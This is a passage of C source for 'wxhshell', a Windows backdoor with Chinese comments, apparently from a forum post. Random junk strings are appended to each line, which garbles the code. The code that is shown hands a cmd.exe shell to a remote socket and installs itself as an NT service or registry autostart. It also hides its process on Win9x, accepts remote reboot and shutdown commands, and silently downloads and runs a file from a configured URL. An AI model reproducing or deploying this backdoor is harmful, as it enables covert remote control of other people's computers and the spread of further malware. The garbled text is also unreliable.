  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ex<0@Oz  
  } /OEj]DNY  
  else { ;IyQqP#,<  
q-'zZ#  
    switch(cmd[0]) { 8l6R.l  
  1QThAFN  
  // 帮助 = >9`qcNW_  
  case '?': { :v#3;('7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @C#lA2(I4  
    break; gwyz)CUkL  
  } {.v+ iSM  
  // 安装 t5S S]  
  case 'i': { ~_Aclm?  
    if(Install()) S[Et!gj:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /n_N`VJ7H  
    else ;TYkJH"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~~&M&Fe  
    break; &0'BCT  
    } WE\V<MGS/  
  // 卸载 c(fwl`y !x  
  case 'r': { %j yLRT]H  
    if(Uninstall()) R b'"09)$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b@Fa| >"_  
    else wNn6".S   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wml`3$"cf  
    break; &W1c#]q@r  
    } Q/':<QY  
  // 显示 wxhshell 所在路径 :EZTJu  
  case 'p': { ne%ckW?ks  
    char svExeFile[MAX_PATH]; Gmc0yRN  
    strcpy(svExeFile,"\n\r"); z' @F@k6  
      strcat(svExeFile,ExeFile); 9!tRM-  
        send(wsh,svExeFile,strlen(svExeFile),0); ."${.BPn~  
    break; >354O6  
    } =4G9ev 4  
  // 重启 Hc71 .rqS  
  case 'b': { krgsmDi7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _15r!RZ:1  
    if(Boot(REBOOT)) :2La,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I_Q'+d  
    else { >Py=H+d!j  
    closesocket(wsh); UPH:$Fk&  
    ExitThread(0); n<MH\.!tM  
    } Xr-eDUEi  
    break; *+5AN306  
    } CQS34&G$a  
  // 关机 mDtD7FzJ  
  case 'd': { t<rhrW75P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  vO 3fAB  
    if(Boot(SHUTDOWN)) 2|+**BxHD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e(cctC|l  
    else { n(&6 E3ZcI  
    closesocket(wsh); ;sDFTKf  
    ExitThread(0); Pl U!-7  
    } {A{=RPL  
    break; ?_IRO|  
    } 1 Nv_;p.{  
  // 获取shell K*>lq|i u  
  case 's': { 6tVB}UKs  
    CmdShell(wsh); uGOvZO^v  
    closesocket(wsh); ]w({5i  
    ExitThread(0); c8A //  
    break; !$P&`n]@  
  } Ie4}F|#=  
  // 退出 &{99Owqg  
  case 'x': { U)2\=%8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M '[.ay  
    CloseIt(wsh); ,u/GA<'#M  
    break; CtS*"c,j  
    } nI&Tr_"tm  
  // 离开 ;a2TONW   
  case 'q': { 42mdak}\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C*=#=.~~{  
    closesocket(wsh); p "u5wJ_  
    WSACleanup(); Ji gc@@B.  
    exit(1); .M!HVq47m  
    break; d n3sh<  
        } R["_Mff  
  } ^8-CUH\  
  } s-[_%  
xDm^f^}>  
  // 提示信息 =JY9K0S~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wj /OYnMw  
} }sZme3*J[  
  } y]yp8Bs+  
x pT85D  
  return; #)z_TM07P  
} pPUKx =d  
'Tj9btM*cL  
// shell模块句柄 &^9 2z:?  
int CmdShell(SOCKET sock) ZBi|B D  
{ % [b~4,c1  
STARTUPINFO si; crG+BFi  
ZeroMemory(&si,sizeof(si)); Vv#|% ^0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UoCFj2?C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s${ew.eW  
PROCESS_INFORMATION ProcessInfo; s0WI93+z  
char cmdline[]="cmd"; %Sf%XNtu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <J!#k@LY]7  
  return 0; "CX&2Xfe  
} *%bQp  
A70x+mjy^T  
// 自身启动模式 =y.?=`"  
int StartFromService(void) %i:Sf  
{ Tapj7/0`  
typedef struct %3!DRz  
{ g4^=Q'j-  
  DWORD ExitStatus; 4*&_h g)h  
  DWORD PebBaseAddress; '#L.w6<B  
  DWORD AffinityMask; \L Gj]mb1  
  DWORD BasePriority; V*U{q%p(  
  ULONG UniqueProcessId; Ey4%N`H-^  
  ULONG InheritedFromUniqueProcessId; bVaydJ*  
}   PROCESS_BASIC_INFORMATION; x8|sdZFxo  
`KgIr,Q)  
PROCNTQSIP NtQueryInformationProcess; HG{r\jh  
W{B)c?G]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~ (I'm[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5srj|'ja  
Hx5t![g2K!  
  HANDLE             hProcess; /{QR:8}-Q  
  PROCESS_BASIC_INFORMATION pbi; l.NV]up +  
lu2"?y[2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uczOSd  
  if(NULL == hInst ) return 0; '[g@A>xDvW  
RsU!mYs:H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qVjl8%)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .93B@u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2j*;1  
d[eN#<  
  if (!NtQueryInformationProcess) return 0; EFSln*|  
*uoc;6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sTv;Ogs.  
  if(!hProcess) return 0; %iMRJ}8(7  
ruiAEC<Ej  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aAJ'0xnj  
JO{Rth  
  CloseHandle(hProcess); WCJ$S\#  
QU{|S.\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b5NPG N  
if(hProcess==NULL) return 0; >LS*G qjq  
IWc?E  
HMODULE hMod; tj<a , l  
char procName[255]; [Tmpj9! q  
unsigned long cbNeeded; `_M*2(rt  
W{'RR.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !0p_s;uu,W  
t|XQFb@}  
  CloseHandle(hProcess); fR]%:'2k  
(nL''#Ka  
if(strstr(procName,"services")) return 1; // 以服务启动 @'XxMO[Z!<  
z86[_l:  
  return 0; // 注册表启动 :jo !Yi  
} 9OI&De5?=V  
b8o}bm{s  
// 主模块 /1OzX'5f  
int StartWxhshell(LPSTR lpCmdLine) JzI/kH~  
{ l.gt+e  
  SOCKET wsl; c0}* $e  
BOOL val=TRUE; =GGt:3Kx-  
  int port=0; I#?NxP\S  
  struct sockaddr_in door; u^5X@ .  
98"/]ERJ  
  if(wscfg.ws_autoins) Install(); n_ORD@$]  
p{c+ +P5  
port=atoi(lpCmdLine); "'i" @CR  
[(Jj@HlP6T  
if(port<=0) port=wscfg.ws_port; rsSE*(T t  
SI-G7e)3;>  
  WSADATA data; H!uB&qY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'a1%`rzm  
VkKq<`t<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LNm{}VJ%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UTT7a"  
  door.sin_family = AF_INET; q4Z9;^S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e;_ cC7  
  door.sin_port = htons(port); C B&$tDi  
'(N -jk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^ hoz<Ns  
closesocket(wsl); AC'$~4  
return 1; 9j6# #@{  
} !>olD_  
 B6| g2Tt  
  if(listen(wsl,2) == INVALID_SOCKET) { X }UR\8g  
closesocket(wsl); =6o,{taZ.~  
return 1; _@-D/g  
} pzL !42  
  Wxhshell(wsl); ctqXzM `  
  WSACleanup(); _hK83s4  
U2~7qC,!Do  
return 0; %(72+B70R  
<0?h$hf4c  
} 7J:zIC$u>  
@#wBK3Ut^  
// 以NT服务方式启动 ?uiQ'}   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e<Pbsj  
{ Av3qoH)[<  
DWORD   status = 0; $%*E)~  
  DWORD   specificError = 0xfffffff; e~Hx+Qp.G  
'1o1=iJN@$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,sU#{.(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ">?ocJ\9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?z "fp$  
  serviceStatus.dwWin32ExitCode     = 0; Ws_R S%  
  serviceStatus.dwServiceSpecificExitCode = 0;  @%8Xa7+  
  serviceStatus.dwCheckPoint       = 0; o'9K8q\1  
  serviceStatus.dwWaitHint       = 0; aN\ps g  
yW3X<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X[F<sxw  
  if (hServiceStatusHandle==0) return; i Eh -  
=v (MdjwFl  
status = GetLastError(); ^4D7sS;~3  
  if (status!=NO_ERROR) H\Bh Af  
{ @I`X{oAA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +@ '( N  
    serviceStatus.dwCheckPoint       = 0; _'g'M=E  
    serviceStatus.dwWaitHint       = 0; g\Gx oR  
    serviceStatus.dwWin32ExitCode     = status; iGCA>5UE  
    serviceStatus.dwServiceSpecificExitCode = specificError; A(!nT=0o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /~k)#44  
    return; v&.`^ O3W  
  } >O7ITy  
IYJS>G%*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8A|{jH74  
  serviceStatus.dwCheckPoint       = 0; 0)c9X[sG  
  serviceStatus.dwWaitHint       = 0; A..,.   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?2#!63[Kg  
} h}vzZZ2,  
pWU3?U  
// 处理NT服务事件,比如:启动、停止 b?h)~j5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ) ?AlQA  
{  ppwjr +  
switch(fdwControl) Y6_%HYI$  
{ < C{-ph  
case SERVICE_CONTROL_STOP: MT`gCvoF4P  
  serviceStatus.dwWin32ExitCode = 0; a,B2;4"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )+' De  
  serviceStatus.dwCheckPoint   = 0; c^N'g!on  
  serviceStatus.dwWaitHint     = 0; 2<Vw :+,  
  { ;B8 #Nf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >lD*:#o  
  } )kMA_\$,  
  return; gnAM}  
case SERVICE_CONTROL_PAUSE: sn|q EH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qNhV zx  
  break; a!`b`r -4  
case SERVICE_CONTROL_CONTINUE: 1KH]l336D"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RC[b+J,q  
  break; [# X:!xcl  
case SERVICE_CONTROL_INTERROGATE: ,&wTUS\  
  break; D][e uB  
}; %SWtE5HZQq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [31vx0$_p  
} Pc= S^}+  
UKIDFDn6_  
// 标准应用程序主函数 cBgdBPDa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zjyj,jP  
{ 8{mQmG4  
FQV]/  
// 获取操作系统版本 L&C<-BA/  
OsIsNt=GetOsVer(); nG0Uv%?{pj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c&A;0**K,  
--ED]S 8  
  // 从命令行安装 5&&6e`  
  if(strpbrk(lpCmdLine,"iI")) Install(); $O n  
/}_OCuJJ,  
  // 下载执行文件 %?o@YwBo^E  
if(wscfg.ws_downexe) { $_2S,3 }  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R @h@@lSf  
  WinExec(wscfg.ws_filenam,SW_HIDE); IW48Sg  
} "E? 8. `T  
)gO=5_^u*o  
if(!OsIsNt) { >a5M:s)  
// 如果时win9x,隐藏进程并且设置为注册表启动 IaxzkX_48  
HideProc(); .EOHkhn  
StartWxhshell(lpCmdLine); XHKVs  
} (kECV8)2  
else ZBDEE+8e  
  if(StartFromService()) (<u3<40[YN  
  // 以服务方式启动 s_(%1/{  
  StartServiceCtrlDispatcher(DispatchTable); uYh6q1@"~  
else gk%8iT  
  // 普通方式启动 8,E#vQ55}(  
  StartWxhshell(lpCmdLine); R~z@voM*<  
m,zZe}oJ  
return 0; o_2mSD!  
}
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只看该作者 1 发表于: 2006-10-10
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